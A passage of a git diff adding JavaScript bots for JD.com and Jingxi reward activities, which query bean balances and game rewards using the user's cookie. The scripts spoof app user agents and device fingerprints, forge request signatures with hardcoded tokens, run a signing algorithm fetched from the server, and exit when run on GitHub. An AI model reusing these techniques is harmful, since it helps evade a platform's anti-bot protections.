'') { + let url = ``; + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + + if (body) { + url = `https://m.jingxi.com/activeapi/${functionId}?${body}`; + url += `&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } else { + url = `https://m.jingxi.com/activeapi/${functionId}?_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + } + return { + url, + headers: { + "Host": "m.jingxi.com", + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": UA, + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://st.jingxi.com/", + "Cookie": cookie + }, + timeout: 10000 + } +} + + +function GetJxBeanDetailData() { + return new Promise((resolve) => { + $.get(taskJxUrl("queryuserjingdoudetail","pagesize=10&type=16"), async (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBeanDetailData请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }); + }); +} +function GetJxBean() { + if (!EnableJxBeans) + return; + return new Promise((resolve) => { + $.get(taskJxUrl("querybeanamount"), async(err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + console.log(`GetJxBean请求失败,请检查网路重试`); + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data) { + if (data.errcode == 0) { + $.xibeanCount = data.data.xibean; + if (!$.beanCount) { + $.beanCount = data.data.jingbean; + } + } + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }); + }); +} +async function jxbean() { + if (!EnableJxBeans) + return; + //前一天的0:0:0时间戳 + const tm = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 - (24 * 60 * 60 * 1000); + // 今天0:0:0时间戳 + const tm1 = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + var JxYesterdayArr = [], + JxTodayArr = []; + var JxResponse = await GetJxBeanDetailData(); + if (JxResponse && JxResponse.ret == "0") { + var Jxdetail = JxResponse.detail; + if (Jxdetail && Jxdetail.length > 0) { + for (let item of Jxdetail) { + const date = item.createdate.replace(/-/g, '/') + "+08:00"; + if (new Date(date).getTime() >= tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + JxTodayArr.push(item); + } else if (tm <= new Date(date).getTime() && new Date(date).getTime() < tm1 && (!item['visibleinfo'].includes("退还") && !item['visibleinfo'].includes('扣赠'))) { + //昨日的 + JxYesterdayArr.push(item); + } else if (tm > new Date(date).getTime()) { + break; + } + } + } else { + $.errorMsg = `数据异常`; + $.msg($.name, ``, `账号${$.index}:${$.nickName}\n${$.errorMsg}`); + } + + for (let item of JxYesterdayArr) { + if (Number(item.amount) > 0) { + $.inJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.OutJxBean += Number(item.amount); + } + } + for (let item of JxTodayArr) { + if (Number(item.amount) > 0) { + $.todayinJxBean += Number(item.amount); + } else if (Number(item.amount) < 0) { + $.todayOutJxBean += Number(item.amount); + } + } + $.todayOutJxBean = -$.todayOutJxBean; + $.OutJxBean = -$.OutJxBean; + } + +} + +function GetJoyRuninginfo() { + if (!EnableJoyRun) + return; + + const headers = { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Connection": "keep-alive", + "Content-Length": "376", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://joypark.jd.com", + "Referer": "https://joypark.jd.com/", + "User-Agent": $.UA + } + var DateToday = new Date(); + const body = { + 'linkId': 'L-sOanK_5RJCz7I314FpnQ', + 'isFromJoyPark':true, + 'joyLinkId':'LsQNxL7iWDlXUs6cFl-AAg' + }; + const options = { + url: `https://api.m.jd.com/?functionId=runningPageHome&body=${encodeURIComponent(JSON.stringify(body))}&t=${DateToday.getTime()}&appid=activities_platform&client=ios&clientVersion=3.8.12`, + headers, + } + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + //console.log(data); + data = JSON.parse(data); + if (data.data.runningHomeInfo.prizeValue) { + $.JoyRunningAmount=data.data.runningHomeInfo.prizeValue * 1; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data) + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", + a = t.length, + n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getGetRequest(type, url) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + + const method = `GET`; + let headers = { + 'Origin': `https://st.jingxi.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json`, + 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, + 'Host': `m.jingxi.com`, + 'User-Agent': UA, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + return { + url: url, + method: method, + headers: headers, + timeout: 10000 + }; +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, + a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function decrypt(time, stk, type, url) { + $.appId = 10028; + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.Jxmctoken).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + $.appId = 10028; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + //'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1', + 'Content-Type': 'application/json', + 'Origin': 'https://st.jingxi.com', + 'Sec-Fetch-Site': 'cross-site', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Dest': 'empty', + 'Referer': 'https://st.jingxi.com/', + 'Accept-Language': 'zh-CN,zh;q=0.9,zh-TW;q=0.8,en;q=0.7' + }, + 'body': JSON.stringify({ + "version": "1.0", + "fp": $.fingerprint, + "appId": $.appId.toString(), + "timestamp": Date.now(), + "platform": "web", + "expandParams": "" + }) + } + new Promise(async resolve => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`request_algo 签名参数API请求失败,请检查网路重试`) + llgeterror = true; + } else { + if (data) { + data = JSON.parse(data); + if (data['status'] === 200) { + $.Jxmctoken = data.data.result.tk; + let enCryptMethodJDString = data.data.result.algo; + if (enCryptMethodJDString) + $.enCryptMethodJD = new Function(`return ${enCryptMethodJDString}`)(); + } else { + console.log('request_algo 签名参数API请求失败:') + } + } else { + llgeterror = true; + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + llgeterror = true; + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function generateFp() { + let e = "0123456789"; + let a = 13; + let i = ''; + for (; a--; ) + i += e[Math.random() * e.length | 0]; + return (i + Date.now()).slice(0, 16) +} + +function getJxmcUrlData(url, name) { + if (typeof URL !== "undefined") { + let urls = new URL(url); + let data = urls.searchParams.get(name); + return data ? data : ''; + } else { + const query = url.match(/\?.*/)[0].substring(1) + const vars = query.split('&') + for (let i = 0; i < vars.length; i++) { + const pair = vars[i].split('=') + if (pair[0] === name) { + return vars[i].substr(vars[i].indexOf('=') + 1); + } + } + return '' + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +function timeFormat(time) { + let date; + if (time) { + date = new Date(time) + } else { + date = new Date(); + } + return date.getFullYear() + '-' + ((date.getMonth() + 1) >= 10 ? (date.getMonth() + 1) : '0' + (date.getMonth() + 1)) + '-' + (date.getDate() >= 10 ? date.getDate() : '0' + date.getDate()); +} + + +function GetPigPetInfo() { + if (!EnablePigPet) + return; + return new Promise(async resolve => { + const body = { + "shareId": "", + "source": 2, + "channelLV": "juheye", + "riskDeviceParam": "{}", + } + $.post(taskPetPigUrl('pigPetLogin', body), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`GetPigPetInfo API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.resultData.resultData.wished && data.resultData.resultData.wishAward) { + $.PigPet=`${data.resultData.resultData.wishAward.name}` + } + } else { + console.log(`GetPigPetInfo: 京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + + +function taskPetPigUrl(function_id, body) { + var UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148`; + return { + url: `https://ms.jr.jd.com/gw/generic/uc/h5/m/${function_id}?_=${Date.now()}`, + body: `reqData=${encodeURIComponent(JSON.stringify(body))}`, + headers: { + 'Accept': `*/*`, + 'Origin': `https://u.jr.jd.com`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Cookie': cookie, + 'Content-Type': `application/x-www-form-urlencoded;charset=UTF-8`, + 'Host': `ms.jr.jd.com`, + 'Connection': `keep-alive`, + 'User-Agent': UA, + 'Referer': `https://u.jr.jd.com/`, + 'Accept-Language': `zh-cn` + }, + timeout: 10000 + } +} + +function GetDateTime(date) { + + var timeString = ""; + + var timeString = date.getFullYear() + "-"; + if ((date.getMonth() + 1) < 10) + timeString += "0" + (date.getMonth() + 1) + "-"; + else + timeString += (date.getMonth() + 1) + "-"; + + if ((date.getDate()) < 10) + timeString += "0" + date.getDate() + " "; + else + timeString += date.getDate() + " "; + + if ((date.getHours()) < 10) + timeString += "0" + date.getHours() + ":"; + else + timeString += date.getHours() + ":"; + + if ((date.getMinutes()) < 10) + timeString += "0" + date.getMinutes() + ":"; + else + timeString += date.getMinutes() + ":"; + + if ((date.getSeconds()) < 10) + timeString += "0" + date.getSeconds(); + else + timeString += date.getSeconds(); + + return timeString; +} + +// prettier-ignore +function Env(t, e) { + "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); + class s { + constructor(t) { + this.env = t + } + send(t, e = "GET") { + t = "string" == typeof t ? { + url: t + } + : t; + let s = this.get; + return "POST" === e && (s = this.post), + new Promise((e, i) => { + s.call(this, t, (t, s, r) => { + t ? i(t) : e(s) + }) + }) + } + get(t) { + return this.send.call(this.env, t) + } + post(t) { + return this.send.call(this.env, t, "POST") + } + } + return new class { + constructor(t, e) { + this.name = t, + this.http = new s(this), + this.data = null, + this.dataFile = "box.dat", + this.logs = [], + this.isMute = !1, + this.isNeedRewrite = !1, + this.logSeparator = "\n", + this.startTime = (new Date).getTime(), + Object.assign(this, e), + this.log("", `🔔${this.name}, 开始!`) + } + isNode() { + return "undefined" != typeof module && !!module.exports + } + isQuanX() { + return "undefined" != typeof $task + } + isSurge() { + return "undefined" != typeof $httpClient && "undefined" == typeof $loon + } + isLoon() { + return "undefined" != typeof $loon + } + toObj(t, e = null) { + try { + return JSON.parse(t) + } catch { + return e + } + } + toStr(t, e = null) { + try { + return JSON.stringify(t) + } catch { + return e + } + } + getjson(t, e) { + let s = e; + const i = this.getdata(t); + if (i) + try { + s = JSON.parse(this.getdata(t)) + } catch {} + return s + } + setjson(t, e) { + try { + return this.setdata(JSON.stringify(t), e) + } catch { + return !1 + } + } + getScript(t) { + return new Promise(e => { + this.get({ + url: t + }, (t, s, i) => e(i)) + }) + } + runScript(t, e) { + return new Promise(s => { + let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); + i = i ? i.replace(/\n/g, "").trim() : i; + let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); + r = r ? 1 * r : 20, + r = e && e.timeout ? e.timeout : r; + const[o, h] = i.split("@"), + n = { + url: `http://${h}/v1/scripting/evaluate`, + body: { + script_text: t, + mock_type: "cron", + timeout: r + }, + headers: { + "X-Key": o, + Accept: "*/*" + } + }; + this.post(n, (t, e, i) => s(i)) + }).catch(t => this.logErr(t)) + } + loaddata() { + if (!this.isNode()) + return {}; { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e); + if (!s && !i) + return {}; { + const i = s ? t : e; + try { + return JSON.parse(this.fs.readFileSync(i)) + } catch (t) { + return {} + } + } + } + } + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require("fs"), + this.path = this.path ? this.path : require("path"); + const t = this.path.resolve(this.dataFile), + e = this.path.resolve(process.cwd(), this.dataFile), + s = this.fs.existsSync(t), + i = !s && this.fs.existsSync(e), + r = JSON.stringify(this.data); + s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) + } + } + lodash_get(t, e, s) { + const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); + let r = t; + for (const t of i) + if (r = Object(r)[t], void 0 === r) + return s; + return r + } + lodash_set(t, e, s) { + return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) + } + getdata(t) { + let e = this.getval(t); + if (/^@/.test(t)) { + const[, s, i] = /^@(.*?)\.(.*?)$/.exec(t), + r = s ? this.getval(s) : ""; + if (r) + try { + const t = JSON.parse(r); + e = t ? this.lodash_get(t, i, "") : e + } catch (t) { + e = "" + } + } + return e + } + setdata(t, e) { + let s = !1; + if (/^@/.test(e)) { + const[, i, r] = /^@(.*?)\.(.*?)$/.exec(e), + o = this.getval(i), + h = i ? "null" === o ? null : o || "{}" : "{}"; + try { + const e = JSON.parse(h); + this.lodash_set(e, r, t), + s = this.setval(JSON.stringify(e), i) + } catch (e) { + const o = {}; + this.lodash_set(o, r, t), + s = this.setval(JSON.stringify(o), i) + } + } else + s = this.setval(t, e); + return s + } + getval(t) { + return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null + } + setval(t, e) { + return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null + } + initGotEnv(t) { + this.got = this.got ? this.got : require("got"), + this.cktough = this.cktough ? this.cktough : require("tough-cookie"), + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, + t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) + } + get(t, e = (() => {})) { + t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), + this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.get(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { + try { + if (t.headers["set-cookie"]) { + const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); + s && this.ckjar.setCookieSync(s, null), + e.cookieJar = this.ckjar + } + } catch (t) { + this.logErr(t) + } + }).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + })) + } + post(t, e = (() => {})) { + if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) + this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { + "X-Surge-Skip-Scripting": !1 + })), $httpClient.post(t, (t, s, i) => { + !t && s && (s.body = i, s.statusCode = s.status), + e(t, s, i) + }); + else if (this.isQuanX()) + t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { + hints: !1 + })), $task.fetch(t).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => e(t)); + else if (this.isNode()) { + this.initGotEnv(t); + const { + url: s, + ...i + } = t; + this.got.post(s, i).then(t => { + const { + statusCode: s, + statusCode: i, + headers: r, + body: o + } = t; + e(null, { + status: s, + statusCode: i, + headers: r, + body: o + }, o) + }, t => { + const { + message: s, + response: i + } = t; + e(s, i, i && i.body) + }) + } + } + time(t, e = null) { + const s = e ? new Date(e) : new Date; + let i = { + "M+": s.getMonth() + 1, + "d+": s.getDate(), + "H+": s.getHours(), + "m+": s.getMinutes(), + "s+": s.getSeconds(), + "q+": Math.floor((s.getMonth() + 3) / 3), + S: s.getMilliseconds() + }; + /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); + for (let e in i) + new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); + return t + } + msg(e = t, s = "", i = "", r) { + const o = t => { + if (!t) + return t; + if ("string" == typeof t) + return this.isLoon() ? t : this.isQuanX() ? { + "open-url": t + } + : this.isSurge() ? { + url: t + } + : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], + s = t.mediaUrl || t["media-url"]; + return { + openUrl: e, + mediaUrl: s + } + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, + s = t["media-url"] || t.mediaUrl; + return { + "open-url": e, + "media-url": s + } + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return { + url: e + } + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============📣系统通知📣=============="]; + t.push(e), + s && t.push(s), + i && t.push(i), + console.log(t.join("\n")), + this.logs = this.logs.concat(t) + } + } + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), + console.log(t.join(this.logSeparator)) + } + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) + } + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + done(t = {}) { + const e = (new Date).getTime(), + s = (e - this.startTime) / 1e3; + this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_bean_change_pro.js b/jd_bean_change_pro.js new file mode 100644 index 0000000..a58b88e --- /dev/null +++ b/jd_bean_change_pro.js @@ -0,0 +1,3346 @@ +/* +cron "30 21 * * *" jd_bean_change.js, tag:资产变化强化版by-ccwav + */ + +//详细说明参考 https://github.com/ccwav/QLScript2 + +// prettier-ignore +!function (t, e) { "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() }(this, function () { var h, t, e, r, i, n, f, o, s, c, a, l, d, m, x, b, H, z, A, u, p, _, v, y, g, B, w, k, S, C, D, E, R, M, F, P, W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, bt = bt || function (l) { var t; if ("undefined" != typeof window && window.crypto && (t = window.crypto), !t && "undefined" != typeof window && window.msCrypto && (t = window.msCrypto), !t && "undefined" != typeof global && global.crypto && (t = global.crypto), !t && "function" == typeof require) try { t = require("crypto") } catch (t) { } function i() { if (t) { if ("function" == typeof t.getRandomValues) try { return t.getRandomValues(new Uint32Array(1))[0] } catch (t) { } if ("function" == typeof t.randomBytes) try { return t.randomBytes(4).readInt32LE() } catch (t) { } } throw new Error("Native crypto module could not be used to get secure random number.") } var r = Object.create || function (t) { var e; return n.prototype = t, e = new n, n.prototype = null, e }; function n() { } var e = {}, o = e.lib = {}, s = o.Base = { extend: function (t) { var e = r(this); return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { e.$super.init.apply(this, arguments) }), (e.init.prototype = e).$super = this, e }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } }, f = o.WordArray = s.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length }, toString: function (t) { return (t || a).stringify(this) }, concat: function (t) { var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (o = 0; o < n; o += 4)e[i + o >>> 2] = r[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var t = this.words, e = this.sigBytes; t[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, t.length = l.ceil(e / 4) }, clone: function () { var t = s.clone.call(this); return t.words = this.words.slice(0), t }, random: function (t) { for (var e = [], r = 0; r < t; r += 4)e.push(i()); return new f.init(e, t) } }), c = e.enc = {}, a = c.Hex = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i += 2)r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new f.init(r, e / 2) } }, h = c.Latin1 = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new f.init(r, e) } }, d = c.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, u = o.BufferedBlockAlgorithm = s.extend({ reset: function () { this._data = new f.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (t) { var e, r = this._data, i = r.words, n = r.sigBytes, o = this.blockSize, s = n / (4 * o), c = (s = t ? l.ceil(s) : l.max((0 | s) - this._minBufferSize, 0)) * o, a = l.min(4 * c, n); if (c) { for (var h = 0; h < c; h += o)this._doProcessBlock(i, h); e = i.splice(0, c), r.sigBytes -= a } return new f.init(e, a) }, clone: function () { var t = s.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), p = (o.Hasher = u.extend({ cfg: s.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { u.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, blockSize: 16, _createHelper: function (r) { return function (t, e) { return new r.init(e).finalize(t) } }, _createHmacHelper: function (r) { return function (t, e) { return new p.HMAC.init(r, e).finalize(t) } } }), e.algo = {}); return e }(Math); function mt(t, e, r) { return t ^ e ^ r } function xt(t, e, r) { return t & e | ~t & r } function Ht(t, e, r) { return (t | ~e) ^ r } function zt(t, e, r) { return t & r | e & ~r } function At(t, e, r) { return t ^ (e | ~r) } function Ct(t, e) { return t << e | t >>> 32 - e } function Dt(t, e, r, i) { var n, o = this._iv; o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); for (var s = 0; s < r; s++)t[e + s] ^= n[s] } function Et(t) { if (255 == (t >> 24 & 255)) { var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t += e << 16, t += r << 8, t += i } else t += 1 << 24; return t } function Rt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)ft[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 